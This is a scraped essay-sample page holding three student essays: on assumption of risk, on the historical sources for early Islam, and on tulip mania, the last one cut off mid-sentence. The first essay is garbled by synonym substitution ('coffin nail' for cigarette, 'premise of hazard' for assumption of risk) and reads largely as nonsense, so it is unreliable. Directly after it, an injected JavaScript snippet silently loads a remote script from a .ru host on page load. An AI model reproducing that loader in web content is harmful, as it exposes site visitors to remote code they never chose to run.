Assumption Of Risk Who Is To Blame free essay sample

Premise Of Hazard: Who Is To Blame For Our Actions Essay, Research Paper Premise of Hazard: Who is to Blame For Our Actions The philosophy of # 8220 ; premise of hazard # 8221 ; clearly defines the duty of all voluntary actions taken on by persons, independent of the inherent hazard or danger involved with such actions. Are we merely to presume duty for the positive results of our actions, without besides accepting the negative results every bit good? Most persons merely claim duty in instances in which they are to the full responsible for their actions. Populating within a state which houses a big sum of private endeavor, we frequently find ourselves trusting on outside aid. In many occasions we, the single seeking aid, hold the power to take which avenue of aid will be taken. In these instances in which we have the pick, should we non besides be held responsible for the results of our determinations, particularly in instances in which we have been pre-warned about any built-in hazards or dangers? For illustration, When we take it upon ourselves to drive on a private route, fume coffin nails, work for a excavation company, or wing on a price reduction air hose at our ain will, do we tacitly consent to take duty for any result these actions may keep? The # 8220 ; premise of hazard # 8221 ; philosophy seems to disregard the cardinal duty of entities to guarantee their natural ends. The separating factor in make up ones minding duty in faultless instances which call on the # 8220 ; premise of hazard # 8221 ; philosophy is the control held by persons after the state of affairs has begun. In conformity, companies such as price reduction air hoses and coffin nail companies must take on the duty of finishing their responsibilities, while persons who chose to work in a mine or thrust on a private route must accept the duty of their actions to make so. All air hoses hold the duty of transporting their clients from a point of beginning to a antecedently designated finish. The individual who agrees to purchase a price reduction air hose ticket, which warns to # 8220 ; fly at your ain hazard, # 8221 ; is entitled to have the minimal service of transit provided by the air hose. The single traveller should presume no other benefits other than transit. The air hose company claims this act of transit to be its end of services rendered. Independent of troubles which may originate in finishing this end, the air hose may non change the basic responsibility which it is contractually obligated to execute. The air hose tacitly consented to execute this basic responsibility the minute they began transporting persons for an recognized payment. Once an person has boarded the aeroplane they render all control over their safety to the accepting air hose which holds the lower limit duty of returning the person back to a province of safety once their responsibility is complete. The mere nature of aeroplane transit forces the single to render entire control over themselves to the air hose. This transportation of control holds the air hose responsible for any action which may happen due to the obvious deficiency of duty in the custodies of the person. Once the plane has closed the cabin they withhold all control of an person over themselves, and must allow the service promised. The person may demand the right to existence and keep the company apt one time they hold the power to order all facets of the state of affairs. One job which arises within the state of affairs is that of something go oning which the air hose holds no control over. Any troubles which arise due to the day-to-day modus operandi of the aeroplane autumn under the duty of the air hose. Even happenings which are deemed ineluctable autumn under the duty of the air hose because they hold entire duty of their clients one time the cabin is closed. Due to the complete control the air hose holds on the state of affairs it may be assumed that the philosophy of # 8220 ; premise of hazard # 8221 ; applies entirely to the air hose. In making a state of affairs in which the person must give up his/her right to self-substinance the air hose holds full duty for any actions taken which may consequence the safety of its riders. Anytime the air hose engages in net income devising Acts of the Apostless, such as cutting costs, they increase the hazard upon themselves in return for excess pecuniary benefits. Some may reason that some duty falls on the consumer due to the warning which the air hose provided prior to the purchase of the tickets. This statement revolves around the premise that the single becomes responsible due to their determination to purchase a discounted ticket over the full monetary value. Having been antecedently warned about the hazard involved, the person is expected to alleviate the air hose of duty for any bad lucks which may happen. This thought of duty may keep true if, and merely if, the participant holds some control over their well-being one time inside the cabin of the aeroplane. There is no contention over the fact that the single volitionally accepted the discounted rate and received a warning, but the air hose still holds the duty of gaining its payment by finishing the minimum demand of transit. The anterior warning merely holds precedency over the persons ability to take an air hose which may either claim duty for legion actions, such as transit, nutrient, and amusement, or act as the price reduction air hose and merely claim duty for the transit. The warning holds no cogency one time the person has lost control over their well being. In go oning with the theory that the supplier of a service holds the minimal duty to bring forth their merchandise ; the state of affairs which arises in the instance of coffin nail companies tends to raise several inquiries. If it is right that they provide a good which is legal under present jurisprudence, how can they be held responsible in any manner? In following with the statement above, the coffin nail company holds a minimal duty to the person to bring forth a # 8220 ; safe # 8221 ; coffin nail. The significance of safe in this context is meant to connote that the coffin nail will run into the safety demands set by the authorities so that persons are non killed by a individual coffin nail. This act of bring forthing # 8220 ; safe # 8221 ; coffin nails for persons covers the minimal duty of the company to the / gt ; single. In this instance, any extra concerns or jobs which the user may hold as a consequence of the merchandise becomes the duty of the coffin nail nut. The coffin nail company apparently performs more than the lower limit duty by besides supplying a merchandise which fills the crave of dependence. Continued usage of this habit-forming merchandise may take to damaging wellness and lung disease. Cigarette companies attempt to protect themselves from such issues by warning users of the built-in dangers and hence extinguishing their duty for the consequence. After all, the person must merely detect the hazard and stop the usage of coffin nails to cut down the hazard of unwellness. Therefore, it seems that the company holds no jobs since they provide the merchandise and clearly province the hazards of usage. In this instance it becomes the single # 8217 ; s duty to accept the hazard and endure the effects. A big job arises in the habit-forming nature of the coffin nail to prehend control over the actions of the single user. Although the merchandise acknowledges its habit-forming quality, the dependence still continues to prehend complete control over the state of affairs of coffin nail smoke. The user becomes chemically dependent on the merchandise and becomes unable to avoid the hazards associated. As in the aeroplane instance, the coffin nail company additions control over the person and is hence forced to portion duty for their actions. By externally acknowledging the job at manus, the coffin nail company must manage the effects. It seems logical that the company could curtail fault entirely to the user, due to the self-inflictive nature of the job. The job lies in the fact that as the coffin nail company admits to the habit-forming nature of their merchandise, they emphasize the fact that they have seized control of the state of affairs. Taking control of the state of affairs forces the company to take duty for the result produced. Cigarettes are intended to be addictive in order to increase gross revenues. Therefore, if the company portions in the awards of the dependence, they should accordingly portion in the amendss every bit good. A instance which differs, due the control of the person over their actions, is that of the excavation industry. The lone job for the company is that of the moral quandary accepted by the company # 8217 ; s executives. When we look at the instance from a distance it seems to be similar to that of the coffin nail industry, but the difference lies in the non-addictive nature of excavation. Although the company acknowledges the dangers of working in the mines, it is the determination of the workers to accept the hazard or happen less risky occupation. The single holds the power to work in the mine or non. Unlike smoke, the mine holds no habit-forming qualities which force the workers to remain. The worker assumes full duty for his/her actions due to the pick to work in a risky country. Since the company neer additions control over the worker, the worker corsets in full control of the state of affairs given the evident hazards involved. The lone case in which the excavation company additions some power over the person is in the instance of pecuniary concerns. If the person can merely obtain work at the mine and relies upon the income produced, it seems clear that the company so holds some power over the person. Although, this power is limited by the head set of the person to find the existent importance of pecuniary additions. Since the mine holds no habit-forming quality which forces the single to work, the worker holds a free head to make up ones mind what qualities of life are most of import. This freedom to make up ones mind releases the company from duty of any jobs which may originate as a consequence of the mine work, and topographic points all load on the person. Some may reason that the excavation company holds some duty over the wellbeing of its employees. These beliefs support the thought that the company should supply the greatest sum of safety safeguards for their workers. This can be witnessed through the usage of safety equipment, medical assistance, and protective cogwheel. Since the company has already warned about the hazards, it becomes the load of the person to buy these points for themselves. The company merely holds the duties to inform the workers of such available equipment. If the workers feel this is unjust they may discontinue working and perchance force employers to prosecute in such safety safeguards. The duty of supplying payment for work is the lone act which must be taken on by the employer after they have given the warnings about the dangers of excavation. The remainder of the duty lies in the custodies of the mineworkers who hold the power to make up ones mind where they work. The concluding instance sing duty of actions prevarications on a private route which warns persons of falling stones. The mark posted at the beginning of the route clearly states any dangers and makes the reader aware of the evident hazards. The cardinal duty of the route is similar to that of the aeroplane in that it must supply a agency for transit from point A to point B. However, the route differs from the plane in that the individual drive is in control of the state of affairs at all times, and neer gives up control over their actions. The velocity of travel, length of stay on the route, and the determination to travel on the route are all determinations made by the person and have a direct consequence on the safety of the person. In this instance the driver becomes responsible for his actions on the route. The proprietor of the route met the demands set upon him by supplying agencies of conveyance and warning of any danger ; all other duty lies in the able custodies of the person driving the car. The duty of any given action remains in the custodies of those in control of the action at any given clip. As seen in the aeroplane and coffin nail illustrations, proper warning does non justify deficiency of duty if the single holds no control over the result of the action. The excavation company and private route examples demo how duty lies in the custodies of the single every bit long as control over the state of affairs is besides controlled by the single. It is clear to see that duty for any given action remains in the custodies of those who hold control over the state of affairs. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Critically assess the historical sources relating to early Islam. The WritePass Journal

Critically assess the historical sources relating to early Islam. Introduction Critically assess the historical sources relating to early Islam. IntroductionThe Quran from Muslim perspective.The revelation.Quran critical   viewpoint.Language difficulties.Further Argument.Oral transmission.Muhammad Muslim perspectiveFurther commentSomething to reflect on.Bibliography;Related Introduction The Muslims form a nation over thirteen centuries old ,with more than six hundred million people in all parts of the world. The prophet Muhammad was the first citizen of this nation, it`s teacher and guide. In this essay we will attempt to outline and critically access the principle elements of the historical sources relating to early Islam: The Qur’an, Ahadith and the biographies of Muhammad. The Quran from Muslim perspective. The Qur`an is the sacred book of Islam, the word of God and his   final revelation.  Ã‚  Ã‚   To Muslim The Qur`an is the ‘mother of all books. It was revealed to Muhammad for guidance of mankind, He recited the verses, and then they were memorized and written down by others. The original books do not exist, most of them have been lost and only their translation exists today. The Qur`an is written in Arabic ,a language today recognised as a major language. It deals with many affairs in peacetimes and during war. It provides advice in matters like marriage ,divorce, birth and death, property inheritance, buying and selling, trade and commerce, civil and criminal law, in short the Qur`an is a book of complete guidance embracing all different aspects of life. (Fazlur ,1965,p.30) The revelation. According to Muslim tradition during the month of Ramadan,  Ã‚   Muhammad at the age of forty, tended to pray and meditate by himself in a cave on mount Hira outside the city of Mecca,   in year 610 A.D.,  Ã‚   he began to have visions,  Ã‚   and revelation, from God   through the angel Gabriel. Hence, each single word contained in the Quran is divine, free from human influence. Muhammad later preached these messages in Mecca where they were firstly rejected by the pagan worshipers and Muhammad was forced to escape to Medina where the first Muslim community was born. He and his followers later returned to Mecca and converted its inhabitants   to Islam before going on to conquer the entire Arabian peninsula, and further parts of the world . The Qur`an is written in the most perfect written Arabic, and the way in which it has been structured, help the audience’s efforts to recall the message of the text. According to Muslim tradition, the Quranic verses were originally memorized by Muhammads companions . the Qur’an is, for Muslims, the work of God, it has been interpreted in many ways For some, the ‘fundamentalists’ it is literally true For others, such as the Sufis, every verse has an inner and more important meaning. based on Q 2:23 : Muslims see the Quran as unsurpassable and unique â€Å"If you have doubts about the revelation we have sent down to our servant, then produce a single sura like it -enlist whatever supporters you have other than God- if you truly think you can†. and again: â€Å"Say, Even if all mankind and jinn came together to produce something like this Quran, they could not produce anything like it, however much they helped each other† Q 17:88 Quran critical   viewpoint. In recent years   there has   been a tendency on the part of Western scholars to accept what Muslims stated about the origins of the Qur’an. Western scholars and some Muslim scholars, are careful-ling questioning the traditional view of the Qur’an. The historical authenticity of   early texts has been the subject of great debate among scholars and the traditionalists that without any reliable font   that concern these text of early Islamic literature assert   as   complete and authentic works, while critics argue that the Qur’an is lacking in exactness and they doubt its historical reliability and accuracy of the hadith and the biographies of Muhammad, having been recorded so long after the facts. Language difficulties. Ancient Arabic was an early simple language, a mixed Arabic-Syriac language, the traders language of Mecca and it was based on Christian liturgical texts. Professor Luxenberg states that when the final text of the Quran was codified, those working on it did not understand the original sense and meaning of this mixture trading language any more, and they vehemently and casually turned it into classical Arabic.   livius.org/opinion/Luxenberg.htm Written Arabic only had consonants and there were no   defining vowels, Furthermore, when the Quran was codified a script was used in which several consonants shared the same signs. There were 28 consonants but only 17 symbols, which means that Only 17 signs were used to write 28 consonants. Early Islamic linguists, and since the 19th century also western scholars of Islam, have discovered loanwords in the Quran derived from various languages, mainly from Syriac. In the 7th century this was the spoken language of the Middle East, as well as Greek, that was mainly spoken in the Byzantine empire. Mecca, Muhammads home city was a trade settlement and Muhammad himself worked in the caravan trade for years. It is unthinkable that he had no knowledge of Syriac. So it is not surprising that Syriac loanwords are present in the Quran. Further Argument. textual exegesis of the Quran Based on form and in depth text analysis, we also notice an   untiring use of monotheistic similes with and   from Judeo-Christian sources, Mohammad   interpreted the rise of Islam as the development of what was originally a Judeo-Christian group. As this sect evolved and differentiated itself from its Judeo-Christian heritages, the Quran also progressed and was constantly in change for over a century. In trying to trace the sources and development of the religious ideas developed in the Quran recent study have decisively showed that the main external influences (together with the Old Testament resources) can be traced back to Syriac Christianity. It is now well recognized that there were structured Jewish and Christian churches amongst the established communities in the north, the south, and the east of Arabia. The Arab town of Hira on the Euphrates was the base of a Nestorian group which undoubtedly lead some kind of missionary activity in Arabia, and there are many references in old Arabic poetry to hermits living in isolated caves in the wilderness. With an outlook of the close commercial relations between Mecca and the Yemen it would be normal to say that some religious ideas and stories were carried to Mecca with the trading   caravans and there are details of vocabulary in the Quran which lead   to this assumption. Professor   Wansbrough In his book Quranic Studies Sources and Methods of Scriptural Interpretation concluded that the canonization of the text that we today call the Quran, and even the emergence of the concept of   Islam, probably did not occur till the end of the eighth century, more than 150 years after the death of Muhammad. Oral transmission. the Qur’an   was considered of principal importance in relations to safeguarding, and   many Muslims would memorize and learn to recite the Qur’an in its wholeness word by word. Tradition say that Muhammad and his followers could recite the complete Qur’an by heart .(Goldziher,1981,p. 23) For Muslims this would appear sufficient evidence to demonstrate that the veracity and reliability of oral transmission through the century is possible with great accuracy. Muhammad Muslim perspective The prophet Mohammad takes a special place in the life and conscience of Muslims today, just as he did in the past. (Tariq,2007,p.35). His mission was to get people at large to   believe   in One True God (Allah), the Creator of all, and also to show and teach the laws of moral, social, legal, ethical conduct and matters of importance for   humanity in general. Therefore   following Muhammad’s example and teachings   is an integral part of Islam   identity.   (Maxime, 1985, p.73) Mohammad for Muslims, is the ‘perfect person’, the sinless model When Muslims speak his name they will add ‘peace and blessings be upon him’ In Surah 33, of the Quran we find   the following statement: â€Å"Muhammad is not the father of any of your men, but is the Messenger of God and the seal of the Prophets†. To the Islam world, this verse has been understood to mean that Muhammad was selected by God as the final prophet because of his qualities he was kind, considerate, wise and just and there will be no more prophets, there will be no new scripture. Hadith and and the biographies of Muhammad.- Critical perspective. The sira and hadith literature   provide further information on Muhammads life. A standard Islamic source that attempts to provide some sort of context to the Qur’an and also where most of the historical information about Muhammad is derived from are the hadith, a collection of authoritative traditions that were handed down orally and are considered to be the words and deeds of the prophet Muhammad and also what the prophet approved . This are short reports or narratives on the sayings and deeds of Muhammad which were collected by Muslims in the ninth and tenth centuries. The most famous was written by Ibn Ishaq, born   in 717 and died in 767   Life of Gods Messenger. This traditions   began to be written down during the reign of Umar But, strangely enough   none of these collections have survived, the work is lost, but was used word for word at great length by Ibn Hisham . The key problem however is, as just stated, there are no existing copies of this work the main source is the redaction of Ibn Hisham (d. 833) which according to scholars   was following his own desire to spread a positive message of Islam and its great prophet,   and so he   removed whatever he thought was inappropriate to the Messenger of God† (Peters, 2009. p. 23) giving   not a true reflection of the Prophet Muhammad’s life. He states at the beginning that he has edited it so as to omit: ‘things which it is disgraceful to discuss; matters which could distress certain people. Things or fact like the one   where Muhammad allowed his followers to raid the Meccan caravans in the month of Rahab   held by Arab tradition to be a sacred month when fighting was strictly forbidden. The Meccans were outraged at this act which was seen as cowardly. Muhammad himself seems at first to have been rather embarrassed by the raid, for he refused to distribute the loot which had been taken. Shortly after, however, another Qur’anic revelation was received to accommodate this matter. Further comment The biographies record at least 70 assassinations prompted by Muhammad against his opponents who disagreed with him. We know about his problems in Mecca, where they were initially rejected by the pagan worshipers and Muhammad was forced to escape to Medina where   the first Muslim community was born.   He and his followers later returned to Mecca where they subdued it’s inhabitants and by strength converted them to Islam before going on to conquer the entire Arabian peninsula, and then further battles and conquest lead to the proliferation of Islam around the world. Something to reflect on. According to the earliest sources Muhammad married at least eleven possibly fourteen   women after the death of Khadija . However or not political reason could be found for most of Muhammad marriages , personal desires definitely played a big part has is made clear by the early accounts of his life. A tradition preserved by   al Bukkhari states that   he satisfied nine of his wives in a single night . Most   people , regard sexual prowess as being incompatible with prophecy. In other accounts is said that Muhammad declared that he loved nothing better than prayer, sweet odours and women. In addition to all It was also was written some 200 years after the Prophet’s death and raises questions over its authenticity as the original source is lost and only fragments remain, leaving historians with the unpopular job of splitting real fact from creative writing. Problem with the Oral Transmission. Cook warns of the danger in accepting oral tradition as a reliable source when he states that if â€Å"the life of Muhammad was transmitted orally for a century before it was reduced to writing, then the chances are that the material will have undergone considerable alteration in the process (Cook, 1983. p.65) Kussas. Pre Islamic Arabs have a long tradition of storytelling Kussas who told tales modelled on the Biblical stories, which were popular at the time, as well as stories from Iran The main aim of the storytellers was the same as that of the tribal poets, the glorification of their tribe   entertaining   people with legendary â€Å"tales of the Prophets† (Peters, 2009. p. 27). This appears to be   rational assumption as the unreliability of oral transmission can be clearly seen in the number of variations in the traditions and furthermore historians do not exclude the possibility   that even the biographies   have very little historical foundation and owe more to the art of elaborated narration. Our Critic tend to view oral tradition with suspicion,   due to the opportunity of corruption and manipulation as there is no way of corroborating this with written evidence at the time of the events.   Non Arabic sources. The first documented Christian awareness of Muhammad is from Byzantine sources. They point out that both Jews and Christians saw Muhammad as a misleading prophet. In the Doctrina Jacobi nuper baptizati of 634, Muhammad is depicted as being devious for do prophets come with sword and chariot?   â€Å"You will discover nothing true from the said prophet except human bloodshed. Contradictory Hadiths. Muslim scholars   were faced with a huge series of traditions many of them clearly contradictory, and voluntarily agreed that there are numerous forged hadiths, however this does not weaken their relevance to Muslims. This muddle among early Muslims led Al Bukari, in an attempt to put an end the proliferation of forged hadiths, to compile an authentic authoritative text in the 9th Century In order to compile an authoritative text Muslim scholar   developed the ‘science of hadith’. Each hadith was accompanied by an isnad a chain of transmitters going back to the companions of the prophet   Muhammad The important questions were: Was transmission feasible? Were the transmitters reliable? The significant problem with this method is that the earliest hadith do not mention the chain of transmitters for its authenticity. Several western scholars and professors most of which are the authors of book indicated in the bibliography of this paper, have been far more critical of Muslim traditions and argue that there are no hadith   which are truly reliable. Most Muslims do not question the stories and are shocked by any who do A few Muslims are beginning to question the Muslim sources. The truth is we have found a lot of discrepancy on how   Islam came into existence. Bibliography; ABDULLAH, YUSUF ALI. 1937. The Holy Quran, Translation and Commentary. Lahore. AFZALUR R., 1992,Islam ideology and the way of life, Published by Seerah foundation, London. COOK, M. 1983. Muhammad. Oxford: Oxford University Press. FAZLUR R.,1965, Islam, Weindenfeld and Nicolson, London. GOLDZIER I, 1981,Introduction to Islamic theology and Law, Princeton University Press, Princeton ,New Jersey. KURSHID A.,1992, Islam its meaning and Message, Published by the Islamic Foundation, Leicester UK. MAXIME R..!985, Mohammed, Published by Pelican Books, Uk. PETERS, F. E. 2009. The Quest: The Historians’ Search for Jesus and Muhammad. Maryland: Recorded Books, LLC. SAYYD   A,1989,Towards understanding Islam, Published by the Islamic Foundation, Leicester UK. SELL, D. D. 1923. The Historical Development of the Qur’an, 4th ed. London: Simpkin, Marshall, Hamilton, Kent Co. TARIQ R.,2007,In the footstep of the prophet, Oxford university press, New York.    livius.org/opinion/Luxenberg.htmaccessed on 7/03/2011

Coursework Assignment BEHAVIOURAL FINANCE VIEW ON MARKET BUBBLES Essay

Coursework Assignment BEHAVIOURAL FINANCE VIEW ON MARKET BUBBLES - Essay Example During the period of tulip mania it has been observed that the cost of a single tulip had surpassed the average income of an expert employee. The period of tulip mania was considered to be a golden age in the Dutch calendar where the prices of the tulip bulbs reached to an unexpected extent (Thompson, 2006). Literature Review and Explanation of Tulip Mania (of the 17th century) At present time, Dutch flower industry comprise about 70% of global flower production and about 90% of global flower trade. From the past time, Dutch flowers were traded to Europe, where the bulbs of flowers were sold with significant amount of prices. Among all the flowers, Tulip flower is significantly interrelated with the life of Dutch people. Dutch people were quite ecstatic about the tulip flowers. From the historical evidence, it can be observed that Dutch people consider tulips as a symbol of fortune in their life. Throughout the period of 1636 it has been observed that the costs of tulip bulbs became extensively which initiated the event, tulip mania (Goldgar, 2007). Historical Explanation of Tulip Mania (of the 17th century) Tulip was first originated in the year 1593, by a botanist named, Carolus Clusius, who carried tulip plant from Constantinople to Holland. He embedded a small garden to investigate the plant for medicinal purposes. Due to certain perceptions about tulip, the flower soon became a fashion icon among affluent people of Holland. As a result, its demand as well as prices started to increase. Momentarily usual tulip bulbs began selling at higher rate in the flower market (Wood, 2012). Key Elements or Structure of Tulip Mania (of the 17th century) With increasing demand of tulips, different marketers started to make investments on planting tulips which provided less risks and high profits. From historical evidences, it can be observed that in the initial period, tulip plantation yielded better profits, but after some years there was sudden fall in the growth of th e business. Nevertheless, new guidelines were applied for tulip production, but the firms and the industry faced losses due to rises in the prices of buds (Thompson, 2006). Behavioural Finance Phenomena of Tulip Mania (of the 17th century) The behavioural finance phenomena related to tulip mania of 17th Century provided insight about both prosperous and collision of the market of tulip bulbs. The tulip mania had led to extending negative consequences in the Dutch economy. The effects of tulip mania were so brutal in the sense that it led to liquidation of the economy. In the context of tulip mania of 17th century, it can be argued that in the initial period, the prices of the tulip bulbs were not quite high. However, when the tulip buds were carried in Europe, investors from different foreign markets collected those buds and spread in the market. Nevertheless, as time passed there was certain decrease in the demand of tulip bulbs for farmers because of certain risks in the cultivati on. Hence, the production of tulip